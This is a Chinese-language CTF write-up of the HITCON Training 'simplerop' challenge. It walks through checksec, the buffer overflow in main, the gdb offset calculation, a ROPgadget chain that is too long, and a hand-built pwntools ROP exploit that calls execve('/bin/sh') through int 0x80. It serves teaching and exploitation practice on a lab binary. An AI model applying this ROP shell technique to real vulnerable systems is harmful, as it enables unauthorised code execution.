记录HITCON题目中遇到的问题
simplerop
检查保护
ios@ubuntu:~$ checksec simplerop
[*] '/home/ios/simplerop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开启NX
载入ida分析
![1](C:\Users\TTTR\ios\source\_posts\HITCON-Training-Writeup\1.jpg)int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h]
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}
漏洞很明显存在于read函数 这里限制的读入v4的长度为100
因为此题目属于静态链接libc 理论上可以直接使用ROPgadget生成ropchain进而getshell
先来计算偏移
gdb在call read处下断
b* 0x8048E69
运行后查看当前esp ebp
计算当前v4的地址
gef➤ p/x 0xffffd040+0x1c
$1 = 0xffffd05c
计算v4距离ebp的偏移
gef➤ p/d 0xffffd078-0xffffd05c
$2 = 28
所以偏移就该为 28+4=32
那么正常情况下我们就用ROPgadget生成ropchain
ROPgadget --binary simplerop --ropchain
得到exp
from pwn import *
from struct import pack
sh = process('simplerop')
# Padding goes here
p = 'A'*32
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80
print len(p)
sh.send(p)
sh.interactive()
运行你会发现没办法正常getshell 因为可以先print下我们当前payload的长度为168但是raed限制长度为100所以没办法正常写入 ,这时候我们就应该自己去优化这个payload或者自己重新写一个payload
思路
寄存器中有eax,ebx,ecx,edx等
Linux下的系统调用通过int 80h实现,用系统调用号来区分入口函数,其中寄存器eax存放调用号,剩下的几个参数存放参数
execve调用号为0xb 所以我们需要找到pop eax ret来将0xb存入eax
pop_edx_ret=0x0806e82a # pop edx ; ret
pop_eax_ret=0x080bae06 # pop eax ; ret
data_addr=0x080ea060 # .data段
pop_edx_ecx_ebx_ret=0x0806e850 # pop edx ; pop ecx ; pop ebx ; ret
mov_ret=0x0809a15d # mov dword ptr [edx], eax ; ret
int_0x80_addr = 0x080493e1 # int 0x80
#因为32位寄存器只能存放0x4字节的数据而"/bin/sh"为7字节所以我们要想办法吧/bin/sh放入data段 然后寄存器放入data段地址
payload = 'A'*32+p32(pop_edx_ret)+p32(data_addr)+p32(pop_eax_ret)+"/bin"+p32(mov_ret)
#先溢出至ret +覆盖ret到edx+将data_addr赋值给edx+覆盖ret到eax+将/bin字符串赋值给eax+利用mov_ret将eax的值赋给edx的值既将/bin覆盖到data段的内容
payload += p32(pop_edx_ret)+p32(data_addr+4)+p32(pop_eax_ret)+"/sh\x00"+p32(mov_ret)
#再覆盖ret到edx+将data_addr+4的地址赋值给edx(因为前4字节被赋值为/bin所以要向下+4位地址继续写)+覆盖ret到eax+将/sh\x00写入eax+利用mov_ret将eax的值赋给edx既将/sh\x00覆盖到data+4地址的内容
payload += p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(data_addr)+p32(pop_eax_ret)+p32(0xb)+int_0x80_addr
#执行系统调用execve 覆盖ret到pop_edx_ecx_ebx_ret+将0赋值给edx+将0赋值给ecx+将data_addr赋值给ebx+将0xb调用号赋值给eax+int 0x80进行中断
EXP
from pwn import *
from struct import pack
sh = process('simplerop')
pop_edx_ret=0x0806e82a
pop_eax_ret=0x080bae06
data_addr=0x080ea060 #elf.bss()获取
pop_edx_ecx_ebx_ret=0x0806e850
mov_ret=0x0809a15d
int_0x80_addr = 0x080493e1
payload = 'A'*32+p32(pop_edx_ret)+p32(data_addr)+p32(pop_eax_ret)+"/bin"+p32(mov_ret)
payload += p32(pop_edx_ret)+p32(data_addr+4)+p32(pop_eax_ret)+"/sh\x00"+p32(mov_ret)
payload += p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(data_addr)+p32(pop_eax_ret)+p32(0xb)+p32(int_0x80_addr)
print len(payload)
sh.recvuntil(":")
sh.send(payload)
sh.interactive()
尝试运行
可以看到当前payload长度恰好为100可以正常read读入
并且成功获得shell